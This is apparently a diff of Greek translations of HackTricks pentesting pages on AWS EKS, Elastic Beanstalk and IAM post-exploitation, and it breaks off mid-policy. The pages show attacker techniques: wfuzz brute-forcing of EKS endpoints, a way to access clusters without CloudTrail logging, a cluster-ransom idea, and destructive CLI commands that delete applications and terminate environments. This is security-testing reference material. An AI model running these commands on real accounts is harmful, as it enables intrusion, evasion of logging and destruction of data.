||||
|
||||
> [!WARNING]
|
||||
> Επομένως, οποιοσδήποτε έχει **δικαίωμα εγγραφής** πάνω στο config map **`aws-auth`** θα είναι σε θέση να **συμβιβάσει ολόκληρο το cluster**.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς να **παραχωρήσετε επιπλέον προνόμια σε ρόλους & χρήστες IAM** στην **ίδια ή διαφορετική λογαριασμό** και πώς να **καταχραστείτε** αυτό για [**privesc ελέγξτε αυτή τη σελίδα**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Ελέγξτε επίσης[ **αυτή την καταπληκτική**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **ανάρτηση για να μάθετε πώς λειτουργεί η αυθεντικοποίηση IAM -> Kubernetes**.
|
||||
|
||||
### Από το Kubernetes στο AWS
|
||||
|
||||
Είναι δυνατόν να επιτραπεί μια **αυθεντικοποίηση OpenID για λογαριασμό υπηρεσίας kubernetes** ώστε να τους επιτραπεί να αναλαμβάνουν ρόλους στο AWS. Μάθετε πώς [**λειτουργεί αυτό σε αυτή τη σελίδα**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### Λάβετε το Api Server Endpoint από ένα JWT Token
|
||||
|
||||
Αποκωδικοποιώντας το JWT token, αποκτούμε το cluster id & επίσης την περιοχή.  Γνωρίζοντας ότι η τυπική μορφή για το EKS url είναι
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Δεν βρήκα καμία τεκμηρίωση που να εξηγεί τα κριτήρια για τους 'δύο χαρακτήρες' και τον 'αριθμό'. Αλλά κάνοντας μερικές δοκιμές εκ μέρους μου, βλέπω ότι επαναλαμβάνονται τα εξής:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Ούτως ή άλλως, είναι μόνο 3 χαρακτήρες, μπορούμε να τους σπάσουμε με brute force. Χρησιμοποιήστε το παρακάτω σενάριο για να δημιουργήσετε τη λίστα.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Τότε με το wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Θυμηθείτε να αντικαταστήσετε & .
|
||||
|
||||
### Παράκαμψη CloudTrail
|
||||
|
||||
Αν ένας επιτιθέμενος αποκτήσει διαπιστευτήρια ενός AWS με **δικαιώματα σε ένα EKS**. Αν ο επιτιθέμενος ρυθμίσει το δικό του **`kubeconfig`** (χωρίς να καλέσει **`update-kubeconfig`**) όπως εξηγήθηκε προηγουμένως, το **`get-token`** δεν δημιουργεί καταγραφές στο Cloudtrail επειδή δεν αλληλεπιδρά με το AWS API (απλώς δημιουργεί το token τοπικά).
|
||||
|
||||
Έτσι, όταν ο επιτιθέμενος επικοινωνεί με το EKS cluster, **το cloudtrail δεν θα καταγράψει τίποτα σχετικό με τον χρήστη που έχει κλαπεί και την πρόσβαση σε αυτό**.
|
||||
|
||||
Σημειώστε ότι το **EKS cluster μπορεί να έχει ενεργοποιημένες καταγραφές** που θα καταγράψουν αυτή την πρόσβαση (αν και, από προεπιλογή, είναι απενεργοποιημένες).
|
||||
|
||||
### EKS Λύτρα;
|
||||
|
||||
Από προεπιλογή, ο **χρήστης ή ο ρόλος που δημιούργησε** ένα cluster έχει **ΠΑΝΤΑ δικαιώματα διαχειριστή** πάνω στο cluster. Και ότι η μόνη "ασφαλής" πρόσβαση που θα έχει το AWS πάνω στο Kubernetes cluster.
|
||||
|
||||
Έτσι, αν ένας **επιτιθέμενος παραβιάσει ένα cluster χρησιμοποιώντας fargate** και **αφαιρέσει όλους τους άλλους διαχειριστές** και **διαγράψει τον χρήστη/ρόλο AWS που δημιούργησε** το Cluster, ~~ο επιτιθέμενος θα μπορούσε να έχει **ζητήσει λύτρα για το cluster**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν το cluster χρησιμοποιούσε **EC2 VMs**, θα μπορούσε να είναι δυνατό να αποκτήσετε δικαιώματα διαχειριστή από το **Node** και να ανακτήσετε το cluster.
|
||||
>
|
||||
> Στην πραγματικότητα, αν το cluster χρησιμοποιεί Fargate, θα μπορούσατε να μεταφέρετε EC2 nodes ή να μεταφέρετε τα πάντα σε EC2 στο cluster και να το ανακτήσετε αποκτώντας πρόσβαση στα tokens στο node.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+143
@@ -0,0 +1,143 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ανίχνευση του cluster από το AWS Console
|
||||
|
||||
Εάν έχετε την άδεια **`eks:AccessKubernetesApi`** μπορείτε να **προβάλετε αντικείμενα Kubernetes** μέσω του AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Σύνδεση στο AWS Kubernetes Cluster
|
||||
|
||||
- Εύκολος τρόπος:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Όχι τόσο εύκολος τρόπος:
|
||||
|
||||
Αν μπορείτε να **λάβετε ένα token** με **`aws eks get-token --name <cluster_name>`** αλλά δεν έχετε δικαιώματα για να πάρετε πληροφορίες του cluster (describeCluster), μπορείτε να **ετοιμάσετε το δικό σας `~/.kube/config`**. Ωστόσο, έχοντας το token, χρειάζεστε ακόμα το **url endpoint για να συνδεθείτε** (αν καταφέρατε να πάρετε ένα JWT token από ένα pod διαβάστε [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) και το **όνομα του cluster**.
|
||||
|
||||
Στην περίπτωσή μου, δεν βρήκα την πληροφορία στα CloudWatch logs, αλλά **την βρήκα στα LaunchTemaplates userData** και επίσης σε **EC2 machines στο userData**. Μπορείτε να δείτε αυτή την πληροφορία στο **userData** εύκολα, για παράδειγμα στο επόμενο παράδειγμα (το όνομα του cluster ήταν cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### Από AWS σε Kubernetes
|
||||
|
||||
Ο **δημιουργός** του **EKS cluster** είναι **ΠΑΝΤΑ** σε θέση να εισέλθει στο kubernetes μέρος του cluster ως μέλος της ομάδας **`system:masters`** (k8s admin). Τη στιγμή που γράφεται αυτό, **δεν υπάρχει άμεσος τρόπος** να βρεις **ποιος δημιούργησε** το cluster (μπορείς να ελέγξεις CloudTrail). Και **δεν υπάρχει τρόπος** να **αφαιρέσεις** αυτό το **προνόμιο**.
|
||||
|
||||
Ο τρόπος να παραχωρήσεις **πρόσβαση πάνω στο K8s σε περισσότερους AWS IAM users ή roles** είναι μέσω του **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Επομένως, οποιοσδήποτε με **write access** πάνω στο config map **`aws-auth`** θα μπορέσει να **compromise the whole cluster**.
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με το πώς να **grant extra privileges to IAM roles & users** στον **same or different account** και πώς να **abuse** αυτό, δες [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Δες επίσης [ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
|
||||
### Από Kubernetes σε AWS
|
||||
|
||||
Είναι δυνατό να επιτραπεί **OpenID authentication for kubernetes service account** ώστε να μπορούν να assume roles στο AWS. Μάθε πώς [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### Λήψη Api Server Endpoint από ένα JWT Token
|
||||
|
||||
Αποκωδικοποιώντας το JWT token παίρνουμε το cluster id και επίσης την περιοχή.  Γνωρίζοντας ότι το τυπικό format για το EKS url είναι
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Δεν βρήκα καμία τεκμηρίωση που να εξηγεί τα κριτήρια για τα 'two chars' και τον 'number'. Αλλά κάνοντας μερικά tests από την πλευρά μου βλέπω να επαναλαμβάνονται τα εξής:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Σε κάθε περίπτωση είναι μόνο 3 chars οπότε μπορούμε να τα bruteforce. Χρησιμοποίησε το παρακάτω script για να δημιουργήσεις τη λίστα
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Στη συνέχεια με wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Θυμηθείτε να αντικαταστήσετε & .
|
||||
|
||||
### Παράκαμψη CloudTrail
|
||||
|
||||
Αν ένας attacker αποκτήσει διαπιστευτήρια ενός AWS με **άδεια πάνω σε ένα EKS**. Αν ο attacker ρυθμίσει το δικό του **`kubeconfig`** (χωρίς να καλέσει το **`update-kubeconfig`**) όπως εξηγήθηκε προηγουμένως, το **`get-token`** δεν δημιουργεί logs στο Cloudtrail επειδή δεν αλληλεπιδρά με το AWS API (απλώς δημιουργεί το token τοπικά).
|
||||
|
||||
Έτσι, όταν ο attacker επικοινωνεί με το EKS cluster, **το cloudtrail δεν θα καταγράψει τίποτα που να σχετίζεται με το κλεμμένο user και την πρόσβασή του**.
|
||||
|
||||
Σημειώστε ότι το **EKS cluster μπορεί να έχει ενεργοποιημένα logs** που θα καταγράψουν αυτήν την πρόσβαση (αν και, από προεπιλογή, είναι απενεργοποιημένα).
|
||||
|
||||
### EKS Λύτρα?
|
||||
|
||||
Από προεπιλογή, ο **user ή role που δημιούργησε** ένα cluster θα έχει **ΠΑΝΤΑ δικαιώματα admin** πάνω στο cluster. Και αυτή είναι η μόνη «ασφαλής» πρόσβαση που θα έχει το AWS στο Kubernetes cluster.
|
||||
|
||||
Έτσι, αν ένας attacker παραβιάσει ένα cluster χρησιμοποιώντας fargate και **αφαιρέσει όλους τους άλλους admins** και **διαγράψει τον AWS user/role που δημιούργησε** το Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν το cluster χρησιμοποιούσε **EC2 VMs**, μπορεί να είναι δυνατό να αποκτήσετε δικαιώματα Admin από τον **Node** και να ανακτήσετε το cluster.
|
||||
>
|
||||
> Στην πραγματικότητα, αν το cluster χρησιμοποιεί Fargate, μπορείτε να δημιουργήσετε EC2 nodes ή να μεταφέρετε τα πάντα σε EC2 στο cluster και να το ανακτήσετε αποκτώντας πρόσβαση στα tokens στον node.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Για περισσότερες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:DeleteApplicationVersion` μπορεί να **διαγράψει μια υπάρχουσα έκδοση εφαρμογής**. Αυτή η ενέργεια θα μπορούσε να διαταράξει τις διαδικασίες ανάπτυξης εφαρμογών ή να προκαλέσει απώλεια συγκεκριμένων εκδόσεων εφαρμογών αν δεν έχουν δημιουργηθεί αντίγραφα ασφαλείας.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διακοπή της ανάπτυξης εφαρμογών και πιθανή απώλεια εκδόσεων εφαρμογών.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:TerminateEnvironment` μπορεί να **τερματίσει ένα υπάρχον περιβάλλον Elastic Beanstalk**, προκαλώντας διακοπή λειτουργίας της εφαρμογής και πιθανή απώλεια δεδομένων αν το περιβάλλον δεν είναι ρυθμισμένο για αντίγραφα ασφαλείας.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Χρόνος διακοπής της εφαρμογής, πιθανή απώλεια δεδομένων και διακοπή υπηρεσιών.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:DeleteApplication` μπορεί να **διαγράψει ολόκληρη την εφαρμογή Elastic Beanstalk**, συμπεριλαμβανομένων όλων των εκδόσεών της και των περιβαλλόντων της. Αυτή η ενέργεια θα μπορούσε να προκαλέσει σημαντική απώλεια πόρων και ρυθμίσεων της εφαρμογής αν δεν έχουν γίνει αντίγραφα ασφαλείας.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Απώλεια πόρων εφαρμογής, ρυθμίσεων, περιβαλλόντων και εκδόσεων εφαρμογής, οδηγώντας σε διακοπή υπηρεσίας και πιθανή απώλεια δεδομένων.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:SwapEnvironmentCNAMEs` μπορεί να **ανταλλάξει τα CNAME records δύο περιβαλλόντων Elastic Beanstalk**, γεγονός που μπορεί να προκαλέσει την παροχή της λάθος έκδοσης της εφαρμογής στους χρήστες ή να οδηγήσει σε απρόβλεπτη συμπεριφορά.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Παροχή της λάθος έκδοσης της εφαρμογής στους χρήστες ή πρόκληση μη αναμενόμενης συμπεριφοράς στην εφαρμογή λόγω εναλλαγής περιβαλλόντων.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Δοκιμάστε αν απαιτούνται περισσότερες άδειες για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με τις άδειες `elasticbeanstalk:AddTags` και `elasticbeanstalk:RemoveTags` μπορεί να **προσθέσει ή να αφαιρέσει ετικέτες σε πόρους Elastic Beanstalk**. Αυτή η ενέργεια θα μπορούσε να οδηγήσει σε λανθασμένη κατανομή πόρων, χρέωση ή διαχείριση πόρων.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Λανθασμένη κατανομή πόρων, χρέωση ή διαχείριση πόρων λόγω προστιθέμενων ή αφαιρεθέντων ετικετών.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
# AWS - Elastic Beanstalk Μετά-Εκμετάλλευση
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Για περισσότερες πληροφορίες:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticbeanstalk:DeleteApplicationVersion`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Ελέγξτε αν απαιτούνται περισσότερα permissions για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με το permission `elasticbeanstalk:DeleteApplicationVersion` μπορεί να **διαγράψει μια υπάρχουσα έκδοση εφαρμογής**. Αυτή η ενέργεια μπορεί να διαταράξει τα pipelines ανάπτυξης της εφαρμογής ή να προκαλέσει απώλεια συγκεκριμένων εκδόσεων εφαρμογής εάν δεν υπάρχουν αντίγραφα ασφαλείας.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Διατάραξη της ανάπτυξης της εφαρμογής και πιθανή απώλεια εκδόσεων της εφαρμογής.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Ελέγξτε αν απαιτούνται περισσότερα δικαιώματα για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με την άδεια `elasticbeanstalk:TerminateEnvironment` μπορεί να **τερματίσει ένα υπάρχον περιβάλλον Elastic Beanstalk**, προκαλώντας διακοπή λειτουργίας για την εφαρμογή και πιθανή απώλεια δεδομένων εάν το περιβάλλον δεν έχει ρυθμιστεί για αντίγραφα ασφαλείας.
|
||||
```bash
|
||||
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```
|
||||
**Potential Impact**: Διακοπή λειτουργίας της εφαρμογής, πιθανή απώλεια δεδομένων και διατάραξη υπηρεσιών.
|
||||
|
||||
### `elasticbeanstalk:DeleteApplication`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Ελέγξτε αν απαιτούνται περισσότερα δικαιώματα για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με το δικαίωμα `elasticbeanstalk:DeleteApplication` μπορεί να **διαγράψει ολόκληρη εφαρμογή Elastic Beanstalk**, συμπεριλαμβανομένων όλων των εκδόσεων και των περιβαλλόντων της. Αυτή η ενέργεια θα μπορούσε να προκαλέσει σημαντική απώλεια πόρων και ρυθμίσεων της εφαρμογής εάν δεν έχουν δημιουργηθεί αντίγραφα ασφαλείας.
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Απώλεια πόρων της εφαρμογής, ρυθμίσεων, περιβαλλόντων και εκδόσεων της εφαρμογής, οδηγώντας σε διακοπή υπηρεσίας και πιθανή απώλεια δεδομένων.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Ελέγξτε εάν απαιτούνται περισσότερα δικαιώματα για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με το δικαίωμα `elasticbeanstalk:SwapEnvironmentCNAMEs` μπορεί να **ανταλλάξει τα CNAME records δύο περιβαλλόντων Elastic Beanstalk**, κάτι που μπορεί να προκαλέσει να σερβίρεται στους χρήστες λανθασμένη έκδοση της εφαρμογής ή να οδηγήσει σε μη αναμενόμενη συμπεριφορά.
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Εξυπηρέτηση λανθασμένης έκδοσης της εφαρμογής στους χρήστες ή πρόκληση ανεπιθύμητης συμπεριφοράς στην εφαρμογή λόγω ανταλλαγής περιβαλλόντων.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Ελέγξτε αν απαιτούνται περισσότερα δικαιώματα για αυτό
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα `elasticbeanstalk:AddTags` και `elasticbeanstalk:RemoveTags` μπορεί να **προσθέσει ή να αφαιρέσει tags από πόρους του Elastic Beanstalk**. Αυτή η ενέργεια θα μπορούσε να οδηγήσει σε λανθασμένη κατανομή πόρων, χρεώσεις ή προβλήματα στη διαχείριση πόρων.
|
||||
```bash
|
||||
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
|
||||
|
||||
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Εσφαλμένη κατανομή πόρων, τιμολόγηση ή διαχείριση πόρων λόγω προσθήκης ή αφαίρεσης tags.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,166 +0,0 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με την πρόσβαση στο IAM:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Confused Deputy Problem
|
||||
|
||||
If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
|
||||
|
||||
Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
|
||||
|
||||
Παράδειγμα:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Για να εκμεταλλευτεί ένας attacker έναν confused deputy θα χρειαστεί να βρει με κάποιον τρόπο αν principals του current account μπορούν να impersonate roles σε other accounts.
|
||||
|
||||
### Απρόσμενες Εμπιστοσύνες
|
||||
|
||||
#### Wildcard ως principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε όλα τα AWS** να αναλάβουν τον ρόλο.
|
||||
|
||||
#### Υπηρεσία ως principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
